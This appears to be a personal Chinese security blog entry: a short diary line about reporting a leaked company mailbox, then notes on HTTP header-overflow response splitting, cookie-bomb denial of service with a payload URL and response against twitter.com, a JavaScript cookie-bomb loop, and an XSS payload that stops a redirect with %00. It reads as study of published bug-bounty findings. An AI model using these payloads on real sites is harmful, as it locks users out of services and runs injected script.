H0e4a0r1t的小屋

2019/4/28 随记

字数统计: 1k阅读时长: 4 min
2019/04/23 Share
今天早上做了一件好事,我发现了某公司员工泄露邮箱账号密码导致泄露公司内部的一些项目数据,我发现了它并第一时间联系了厂家,尽管联系厂家相关负责人的时候也非常坎坷,但是最终还是联系上了他们,并帮助他们解决问题(●ˇ∀ˇ●)     上班的路上还碰到了室友小姐姐,和她一起去上班,感到很开心哦 (●'◡'●)

First:

溢出三部曲

HTTP响应与标头溢出拆分

HTTP Response Splitting与CRLF注入的不同之处。通常99个HTTP响应拆分漏洞是由CRLF注入引起的,而这个漏洞则滥用了一个不涉及注入CRLF的不同缺陷。

例如链接中的 report_user_id ,会在响应包中做setCookie操作,由于我们可以控制在响应头中反映的值,我们可以注入一个字符串,使其长度加上前面的头字段’略超过8kB,然后我们注入的字符串的最后一个字符突然变成下一个字符串的开头响应标题:

在这种情况下,在report_user_id后注入像AAA[…]AAA:foobar,AAA:foobar分别变成:名称报头字段AAA和值foobar的第二响应。

payload:

1
2


使用Cookie炸弹拒绝服务

由于url中的参数反映在Set-Cookie中,我们可以控制这些特定cookie的值及其属性(例如Domain,Expires)。攻击者可以使用Cookie Bomb来利用它。Cookie Bomb是Egor Homakov介绍的术语。攻击本身并不是什么新鲜事,但很少有人真正研究它。它的主要思想是服务器拒绝具有异常大的head请求。确切的数字可能在不同的服务器上有所不同,但通常请求标头不能大于8kB。通过滥用此功能,攻击者可以强迫被攻击者接受一堆大型cookie。它的作用是,受害者对相应网站的所有请求都将包含一个非常大的cookie,导致服务器拒绝受害者的任何请求(即拒绝服务)。通过操纵不同的cookie属性可以进一步改进攻击:

1
2
3
域名:而不仅仅是example.com,.example.com将cookie应用于所有子域名,使整个服务瘫痪。
cookie过期:默认情况下,除非另有说明,否则在浏览器重新启动后将销毁cookie,相反,攻击者可以利用它来永久锁定受害者,直到他们手动删除cookie。
路径:将其设置为根路径(/)可以最大化的影响页面数。

Payload:

1
https://twitter.com/i/safety/report_story?next_view=report_story_start&reported_user_id=000[...]000;Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.twitter.com&reporter_user_id=1&is_media=true&is_promoted=true&reported_tweet_id=000[...]000;Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.twitter.com

响应头:

1
2
3
4
5
HTTP/1.1 200 OK
[...]
set-cookie: reported_user_id=000[...]000;Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.twitter.com
set-cookie: reported_tweet_id=000[...]000;Expires=Wed, 02 Apr 2025 12:21:55 GMT;Path=/;Domain=.twitter.com
[...]

一个cookie最多只能包含4KB数据,当用户访问链接时,即被Dos,访问不了任何twitter.com的子域名

基于DOM的Cookie炸弹

攻击手段:

1
2
1. 准备一个网址为`https://attacker.com/?AAA[...]AAA;domain=.twitter.com:expires=Thu,01 [Jan / 2025 ^ 00:00:01 + GMT`
1. 将受害者重定向到`https://twitter.com/#foo和https://twitter.com/#bar`以设置两个大型Cookie(由于每个Cookie限制为4kB)
1
2
3
4
5
6
7
var base_domain = document.domain.substr(document.domain.indexOf('.'));
var pollution = Array(4000).join('a');
if(confirm('Should I Cookie Bomb '+base_domain+'?')){
for(var i=1;i<99;i++){
document.cookie='bomb'+i+'='+pollution+';Domain='+base_domain;
}
}

Second:

在重定向中绕过XSS

从重定向中绕过 window.location.href ,不做跳转并执行XSS

将有效的URL更改为chrome中的无效URL,您可以通过在URL的路径后添加%00来停止该重定向

例如:https://example.com/%00

因此,如果您在代码中添加window.loaction =“ https://example.com/%00 ,该页面将不会在Chrome浏览器中重定向

1
http://s3c-krd.tk/xssed.php?path=%2500%27onmouseover=%27window.stop();alert(document.domain)%27style=%27font-size:1000px;background-color:red%27

视频:https://www.youtube.com/watch?v=10BgC3Zjt1g


CATALOG
  1. 1. First:
  2. 2. 溢出三部曲
    1. 2.1. HTTP响应与标头溢出拆分
    2. 2.2. 使用Cookie炸弹拒绝服务
    3. 2.3. 基于DOM的Cookie炸弹
  3. 3. Cookie Bomb
  4. 4. Second:
  5. 5. 在重定向中绕过XSS